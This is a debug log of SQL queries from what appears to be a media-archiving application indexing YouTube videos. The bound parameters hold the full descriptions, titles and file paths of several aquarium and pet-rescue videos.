s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.134 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-18 14:03:00Z], 32] 11:12:41.136 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "93aae5b5-d5d2-4706-9607-7db6b5725e62", "HH2gKrl22Fw", false, "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, [], 955, false, 2, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, false, 98, ~U[2026-04-18 14:03:00Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "HH2gKrl22Fw", "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, 955, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, ~U[2026-04-18 14:03:00Z]] 11:12:41.136 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.137 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-01 18:42:41Z], 32] 11:12:41.139 [debug] QUERY OK source="media_items" db=1.3ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "7de22620-2d3d-46fe-a3a3-e0f5657d31c1", "0koP25v7-1c", false, "https://www.youtube.com/watch?v=0koP25v7-1c", 32, [], 883, false, 3, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, false, 98, ~U[2026-03-01 18:42:41Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "0koP25v7-1c", "https://www.youtube.com/watch?v=0koP25v7-1c", 32, 883, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, ~U[2026-03-01 18:42:41Z]] 11:12:41.139 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.140 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 16:11:00Z], 32] 11:12:41.142 [debug] QUERY OK source="media_items" db=1.5ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "I Turned a Restaurant Crab into a Pet...", "b90462c8-80fb-42f4-abbf-c8bea358ce44", "Bl8h8ks400Y", false, "https://www.youtube.com/watch?v=Bl8h8ks400Y", 32, [], 789, false, 4, "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", false, false, 98, ~U[2026-01-31 16:11:00Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new (truncated) 11:12:41.142 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.143 [debug] QUERY OK source="media_items" db=0.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-14 13:57:00Z], 32] 11:12:41.145 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "3b317aaa-0ddb-4042-bcbe-00c58e696466", "Yx3ugiqTKJ4", false, "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, [], 1092, false, 5, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, false, 98, ~U[2025-12-14 13:57:00Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a 